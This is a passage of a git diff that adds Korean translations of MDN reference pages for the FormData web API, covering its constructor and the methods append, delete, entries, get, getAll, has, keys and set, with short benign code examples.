+<p><strong>메모:</strong> {{domxref("Blob")}} 을 <code>FormData</code> 객체에 추가 할 데이터로 지정하면, "Content-Disposition" 헤더에서 서버에 리포트하는 파일 이름이 브라우저마다 다를 수 있습니다.</p>
+</div>
+
+<h3 id="Returns">Returns</h3>
+
+<p>Void.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 코드를 따라 빈 <code>FormData</code> 객체를 만듭니다:</p>
+
+<pre class="brush: js">var formData = new FormData(); // Currently empty</pre>
+
+<p>{{domxref("FormData.append")}}를 사용하여 key/value 쌍을 추가할 수 있습니다:</p>
+
+<pre class="brush: js">formData.append('username', 'Chris');
+formData.append('userpic', myFileInput.files[0], 'chris.jpg');</pre>
+
+<p>일반 form 데이터와 마찬가지로 동일한 이름의 여러 값을 추가할 수 있습니다. 예를들면 (그리고 이름에 []를 추가하여 PHP의 명명 규칙과 호환이 가능합니다):</p>
+
+<pre class="brush: js">formData.append('userpic[]', myFileInput.files[0], 'chris1.jpg');
+formData.append('userpic[]', myFileInput.files[1], 'chris2.jpg');</pre>
+
+<p>이 기술을 사용하면 서버에 올라간 결과 데이터가 루프를 도는데 도움이 되는 구조이기 때문에, 이 기술을 사용하면 다중 -파일 업로드를 보다 쉽게 처리할 수 있습니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('XMLHttpRequest','#dom-formdata-append','append()')}}</td>
+ <td>{{Spec2('XMLHttpRequest')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.append")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/delete/index.html b/files/ko/web/api/formdata/delete/index.html
new file mode 100644
index 0000000000..c5f20c8d02
--- /dev/null
+++ b/files/ko/web/api/formdata/delete/index.html
@@ -0,0 +1,70 @@
+---
+title: FormData.delete()
+slug: Web/API/FormData/delete
+translation_of: Web/API/FormData/delete
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>{{domxref("FormData")}} 인터페이스의 <code><strong>delete()</strong></code> 메서드는 <code>FormData</code> 객체에서 key와 그 값에 해당하는 것을 지웁니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/ko/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">formData.delete(name);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>삭제할 key의 이름 입니다.</dd>
+</dl>
+
+<h3 id="Returns">Returns</h3>
+
+<p>Void.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 코드를 따라 빈 <code>FormData</code> 객체를 만들고, form의 key/value 쌍을 미리 채웁니다:</p>
+
+<pre class="brush: js">var formData = new FormData(myForm);</pre>
+
+<p><code>delete()</code>를 사용하여 키와 값을 삭제할 수 있습니다:</p>
+
+<pre class="brush: js">formData.delete('username');
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('XMLHttpRequest','#dom-formdata-delete','delete()')}}</td>
+ <td>{{Spec2('XMLHttpRequest')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.delete")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/entries/index.html b/files/ko/web/api/formdata/entries/index.html
new file mode 100644
index 0000000000..6f4f5b29d3
--- /dev/null
+++ b/files/ko/web/api/formdata/entries/index.html
@@ -0,0 +1,70 @@
+---
+title: FormData.entries()
+slug: Web/API/FormData/entries
+translation_of: Web/API/FormData/entries
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code><strong>FormData.entries()</strong></code> 메서드는 이 객체에 포함된 모든 key/value 쌍을 통과하는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 각 쌍의 key는  {{domxref("USVString")}} 객체입니다; value는 {{domxref("USVString")}} 또는 {{domxref("Blob")}} 중 하나입니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/ko/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">formData.entries();</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref("Iteration_protocols","iterator")}}를 리턴합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight:[7]">// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the key/value pairs
+for(var pair of formData.entries()) {
+ console.log(pair[0]+ ', '+ pair[1]);
+}
+</pre>
+
+<p>결과는 다음과 같습니다:</p>
+
+<pre>key1, value1
+key2, value2</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('XMLHttpRequest','#dom-formdata','entries() (as iterator&lt;&gt;)')}}</td>
+ <td>{{Spec2('XMLHttpRequest')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.entries")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/formdata/index.html b/files/ko/web/api/formdata/formdata/index.html
new file mode 100644
index 0000000000..5201383a98
--- /dev/null
+++ b/files/ko/web/api/formdata/formdata/index.html
@@ -0,0 +1,92 @@
+---
+title: FormData()
+slug: Web/API/FormData/FormData
+translation_of: Web/API/FormData/FormData
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code><strong>FormData()</strong></code> 생성자(Constructor)는 새로운 {{domxref("FormData")}}객체를 만듭니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: <a href="/ko/docs/Web/API/Web_Workers_API">웹워커(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js"><code>var formData = new FormData(</code><code>form</code><code>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>form </code>{{optional_inline}}</dt>
+ <dd>HTML {{HTMLElement("form")}} 요소 — 지정된 경우 {{domxref("FormData")}} 객체는 form의 현재 key/value 들로 채워집니다. key/value는 submit한 각 요소의 name property와 value를 사용합니다. 또한 파일 입력 내용을 인코딩합니다.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 코드는 빈 <code>FormData</code> 객체를 만듭니다:</p>
+
+<pre class="brush: js">var formData = new FormData(); // Currently empty</pre>
+
+<p>{{domxref("FormData.append")}}을 사용하여 key/value 쌍을 추가할 수 있습니다:</p>
+
+<pre class="brush: js">formData.append('username', 'Chris');
+</pre>
+
+<p>또는 <code>FormData</code> 객체를 만들 때 선택적으로 <code><em>form</em></code> argument를 지정할 수 있는데, 지정된 양식대로 value를 미리 채우는 것입니다:</p>
+
+<pre class="brush: html">&lt;form id="myForm" name="myForm"&gt;
+ &lt;div&gt;
+ &lt;label for="username"&gt;Enter name:&lt;/label&gt;
+ &lt;input type="text" id="username" name="username"&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;label for="useracc"&gt;Enter account number:&lt;/label&gt;
+ &lt;input type="text" id="useracc" name="useracc"&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+ &lt;label for="userfile"&gt;Upload file:&lt;/label&gt;
+ &lt;input type="file" id="userfile" name="userfile"&gt;
+ &lt;/div&gt;
+&lt;input type="submit" value="Submit!"&gt;
+&lt;/form&gt;
+</pre>
+
+<div class="note">
+<p><strong>메모</strong>: 모든 입력 요소는 'name' 속성(attribute) 을 갖고 있습니다. 나중에 value에 접근하는데 필요합니다.</p>
+</div>
+
+<pre class="brush: js">var myForm = document.getElementById('myForm');
+formData = new FormData(myForm);</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('XMLHttpRequest','#dom-formdata','FormData()')}}</td>
+ <td>{{Spec2('XMLHttpRequest')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.FormData")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/get/index.html b/files/ko/web/api/formdata/get/index.html
new file mode 100644
index 0000000000..b90a006387
--- /dev/null
+++ b/files/ko/web/api/formdata/get/index.html
@@ -0,0 +1,74 @@
+---
+title: FormData.get()
+slug: Web/API/FormData/get
+translation_of: Web/API/FormData/get
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>{{domxref("FormData")}} 인터페이스의 <code><strong>get()</strong></code> 메서드는 <code>FormData</code> 객체에서 지정한 키와 연관된 첫 번째 값을 반환합니다. 값이 여러개이고, 모든 값을 원하면 이 메서드 대신 {{domxref("FormData.getAll()","getAll()")}} 메서드를 사용하십시오.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/ko/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">formData.get(name);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>검색하고 싶은 키의 이름을 나타내는 {{domxref("USVString")}} 입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>값을 포함하는 {{domxref("FormDataEntryValue")}} 입니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 코드를 따라 빈 <code>FormData</code> 객체를 만듭니다:</p>
+
+<pre class="brush: js">var formData = new FormData();</pre>
+
+<p>{{domxref("FormData.append")}}를 사용하여 <code>username</code> 에 두 개의 값을 추가합니다:</p>
+
+<pre class="brush: js">formData.append('username', 'Chris');
+formData.append('username', 'Bob');</pre>
+
+<p><code>get()</code> 함수를 사용하면 <code>username</code> 의 첫 번째 value만 반환합니다:</p>
+
+<pre class="brush: js">formData.get('username'); // Returns "Chris"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('XMLHttpRequest','#dom-formdata-get','get()')}}</td>
+ <td>{{Spec2('XMLHttpRequest')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.get")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/getall/index.html b/files/ko/web/api/formdata/getall/index.html
new file mode 100644
index 0000000000..6de19365e5
--- /dev/null
+++ b/files/ko/web/api/formdata/getall/index.html
@@ -0,0 +1,74 @@
+---
+title: FormData.getAll()
+slug: Web/API/FormData/getAll
+translation_of: Web/API/FormData/getAll
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>{{domxref("FormData")}} 인터페이스의 <code><strong>getAll()</strong></code> 메서드는 <code>FormData</code> 객체에서 지정된 키와 연관된 모든 값을 반환합니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/ko/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">formData.getAll(name);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>검색하고 싶은 키의 이름을 나타내는 {{domxref("USVString")}} 입니다.</dd>
+</dl>
+
+<h3 id="Returns">Returns</h3>
+
+<p>{{domxref("FormDataEntryValue")}}의 배열입니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 코드를 따라 빈 <code>FormData</code> 객체를 만듭니다:</p>
+
+<pre class="brush: js">var formData = new FormData();</pre>
+
+<p>{{domxref("FormData.append")}}를 사용하여 <code>username</code> 에 두 개의 값을 추가합니다:</p>
+
+<pre class="brush: js">formData.append('username', 'Chris');
+formData.append('username', 'Bob');</pre>
+
+<p><code>getAll()</code> 함수는 <code>username</code> 의 값들을 배열로 반환합니다:</p>
+
+<pre class="brush: js">formData.getAll('username'); // Returns ["Chris", "Bob"]</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('XMLHttpRequest','#dom-formdata-getall','getAll()')}}</td>
+ <td>{{Spec2('XMLHttpRequest')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.getAll")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/has/index.html b/files/ko/web/api/formdata/has/index.html
new file mode 100644
index 0000000000..8340fee6af
--- /dev/null
+++ b/files/ko/web/api/formdata/has/index.html
@@ -0,0 +1,73 @@
+---
+title: FormData.has()
+slug: Web/API/FormData/has
+translation_of: Web/API/FormData/has
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>{{domxref("FormData")}} 인터페이스의 <code><strong>has()</strong></code> 메서드는 <code>FormData</code> 객체에 특정 키가 들어 있는지 여부를 나타내는 boolean 을 반환합니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 이 메서드는 웹워커<a href="/ko/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">formData.has(name);</pre>
+
+<h3 id="append()_Parameters" name="append()_Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>테스트 하려는 키의 이름을 나타내는 {{domxref("USVString")}} 입니다.</dd>
+</dl>
+
+<h3 id="Returns">Returns</h3>
+
+<p>{{domxref("Boolean")}}.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 코드를 따라 빈 <code>FormData</code> 객체를 만듭니다:</p>
+
+<pre class="brush: js">var formData = new FormData();</pre>
+
+<p>다음 스니펫(코드 조각)은 <code>FormData</code> 객체안에 <code>username</code> 이 존재하는지 테스트한 결과와, {{domxref("FormData.append")}}를 사용하여 <code>username</code> 에 값을 추가한 이후의 결과를 보여줍니다 :</p>
+
+<pre class="brush: js">formData.has('username'); // Returns false
+formData.append('username', 'Chris');
+formData.has('username'); // Returns true
+
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('XMLHttpRequest','#dom-formdata-has','has()')}}</td>
+ <td>{{Spec2('XMLHttpRequest')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.has")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/index.html b/files/ko/web/api/formdata/index.html
new file mode 100644
index 0000000000..212d19e6c2
--- /dev/null
+++ b/files/ko/web/api/formdata/index.html
@@ -0,0 +1,82 @@
+---
+title: FormData
+slug: Web/API/FormData
+tags:
+ - API
+ - 인터페이스
+ - 폼 데이터
+translation_of: Web/API/FormData
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code><strong>FormData</strong></code><strong> </strong>인터페이스는 form 필드와 그 값을 나타내는 일련의 key/value 쌍을 쉽게 생성할 수 있는 방법을 제공합니다. 또한 {{domxref("XMLHttpRequest.send()")}} 메서드를 사용하여 쉽게 전송할 수 있습니다. 인코딩 타입이 <code>"multipart/form-data"</code>로 설정된 경우, form에서 사용하는 것과 동일한 포맷을 사용해야 합니다.</p>
+
+<p>간단한 <code>GET</code> 전송을 사용하는 경우에는 {{HTMLElement("form")}} 이 수행하는 방식으로 쿼리 매개 변수를 생성할 수 있습니다. 이 경우 {{domxref("URLSearchParams")}} 생성자에 직접 전달할 수 있습니다.</p>
+
+<p><code>FormData</code> 를 구현하는 객체는 {{domxref('FormData.entries()', 'entries()')}} 대신 {{jsxref("Statements/for...of", "for...of")}} 구조를 직접 사용할 수 있습니다. <code>for (var p of myFormData)</code> 는 <code>for (var p of myFormData.entries())</code> 와 같습니다.</p>
+
+<div class="note">
+<p><strong>주의</strong>: 이 기능은 <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("FormData.FormData","FormData()")}}</dt>
+ <dd>새로운 <code>FormData</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("FormData.append()")}}</dt>
+ <dd>FormData 객체안에 이미 키가 존재하면 그 키에 새로운 값을 추가하고, 키가 없으면 추가합니다.</dd>
+ <dt>{{domxref("FormData.delete()")}}</dt>
+ <dd>FormData 객체로부터 키/밸류 쌍을 삭제합니다.</dd>
+ <dt>{{domxref("FormData.entries()")}}</dt>
+ <dd>이 객체에 담긴 모든 키/밸류 쌍을 순회할 수 있는 {{jsxref("Iteration_protocols","iterator")}}를 반환합니다.</dd>
+ <dt>{{domxref("FormData.get()")}}</dt>
+ <dd><code>FormData</code> 객체 내의 값들 중 주어진 키와 연관된 첫번째 값을 반환합니다.</dd>
+ <dt>{{domxref("FormData.getAll()")}}</dt>
+ <dd><code>FormData</code> 객체 내의 값들 중 주어진 키와 연관된 모든 값이 담긴 배열을 반환합니다.</dd>
+ <dt>{{domxref("FormData.has()")}}</dt>
+ <dd><code>FormData</code> 객체에 특정 키가 포함되어 있는지 여부를 나타내는 boolean 을 반환합니다.</dd>
+ <dt>{{domxref("FormData.keys()")}}</dt>
+ <dd>이 객체에 담긴 모든 키/벨류 쌍들의 모든 키들을 순회 할 수 있는 {{jsxref("Iteration_protocols", "iterator")}}를 반환합니다.</dd>
+ <dt>{{domxref("FormData.set()")}}</dt>
+ <dd><code>FormData</code> 객체 내에 있는 기존 키에 새 값을 설정하거나, 존재하지 않을 경우 키/밸류 쌍을 추가합니다.</dd>
+ <dt>{{domxref("FormData.values()")}}</dt>
+ <dd>이 객체에 포함된 모든 밸류를 통과하는 {{jsxref("Iteration_protocols", "iterator")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('XMLHttpRequest','#interface-formdata','FormData')}}</td>
+ <td>{{Spec2('XMLHttpRequest')}}</td>
+ <td>FormData defined in XHR spec</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.FormData")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/ko/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/ko/docs/Web/API/FormData/Using_FormData_Objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/keys/index.html b/files/ko/web/api/formdata/keys/index.html
new file mode 100644
index 0000000000..f2f1111e4d
--- /dev/null
+++ b/files/ko/web/api/formdata/keys/index.html
@@ -0,0 +1,70 @@
+---
+title: FormData.keys()
+slug: Web/API/FormData/keys
+translation_of: Web/API/FormData/keys
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code><strong>FormData.keys()</strong></code> 메서드는 이 객체에 포함된 모든 키를 통과하는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 키는 {{domxref("USVString")}} 객체입니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/en-US/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">formData.keys();</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight:[7]">// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the keys
+for (var key of formData.keys()) {
+ console.log(key);
+}
+</pre>
+
+<p>결과는 다음과 같습니다:</p>
+
+<pre>key1
+key2</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('XMLHttpRequest','#dom-formdata','keys() (as iterator&lt;&gt;)')}}</td>
+ <td>{{Spec2('XMLHttpRequest')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.keys")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/set/index.html b/files/ko/web/api/formdata/set/index.html
new file mode 100644
index 0000000000..1f95283af5
--- /dev/null
+++ b/files/ko/web/api/formdata/set/index.html
@@ -0,0 +1,79 @@
+---
+title: FormData.set()
+slug: Web/API/FormData/set
+translation_of: Web/API/FormData/set
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>{{domxref("FormData")}} 인터페이스의 <code><strong>set()</strong></code> 메서드는 <code>FormData</code> 객체 내에 있는 기존 키에 새 값을 설정하거나, 존재하지 않을 경우 key/value을 추가합니다.</p>
+
+<p><code>set()</code> 과 {{domxref("FormData.append")}} 의 차이점은 지정된 키가 이미 존재할 경우에, <code>set()</code> 은 모든 기존 값들을 새로운 값으로 덮어쓰기하는 반면, {{domxref("FormData.append")}} 는 기존 값의 끝에 새 값을 추가합니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/en-US/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>이 메서드에는 두 가지 버전이 있습니다: 매개변수가 두 개인 버전과 세 개인 버전입니다:</p>
+
+<pre class="brush: js">formData.set(name, value);
+formData.set(name, value, filename);</pre>
+
+<h4 id="append()_Parameters" name="append()_Parameters">Parameters</h4>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd><code>value</code> 에 포함되는 데이터 필드의 이름입니다.</dd>
+ <dt><code>value</code></dt>
+ <dd>필드의 값입니다. 파라미터가 두 개인 버전에서는 {{domxref("USVString")}}이고, 그렇지 않은 경우 문자열로 변환됩니다. 파라미터가 세 개인 버전에서는 {{domxref("Blob")}}, {{domxref("File")}}, {{domxref("USVString")}}이 될 수 있습니다. 이들 중 어느것도 지정되지 않으면 값은 문자열로 변환됩니다.</dd>
+ <dt><code>filename </code>{{optional_inline}}</dt>
+ <dd>{{domxref("Blob")}} 또는 {{domxref("File")}} 이 두 번째 매개 변수로 전달될 때, 서버에 리포트하는 파일 이름(a {{domxref("USVString")}})입니다. {{domxref("Blob")}} 객체의 기본 파일 이름은 "blob"입니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>메모:</strong> {{domxref("Blob")}} 을 <code>FormData</code> 객체에 추가할 데이터로 지정하면,  "Content-Disposition" 헤더에서 서버에 리포트하는 파일 이름이 브라우저마다 다를 수 있습니다.</p>
+</div>
+
+<h2 id="Example">Example</h2>
+
+<p>다음 코드를 따라 빈 <code>FormData</code> 객체를 만듭니다:</p>
+
+<pre class="brush: js">var formData = new FormData(); // Currently empty</pre>
+
+<p>{{domxref("FormData.set")}}를 사용하여 key/value 쌍을 추가할 수 있습니다::</p>
+
+<pre class="brush: js">formData.set('username', 'Chris');
+formData.set('userpic', myFileInput.files[0], 'chris.jpg');</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('XMLHttpRequest','#dom-formdata-set','set()')}}</td>
+ <td>{{Spec2('XMLHttpRequest')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.set")}}</p>
+
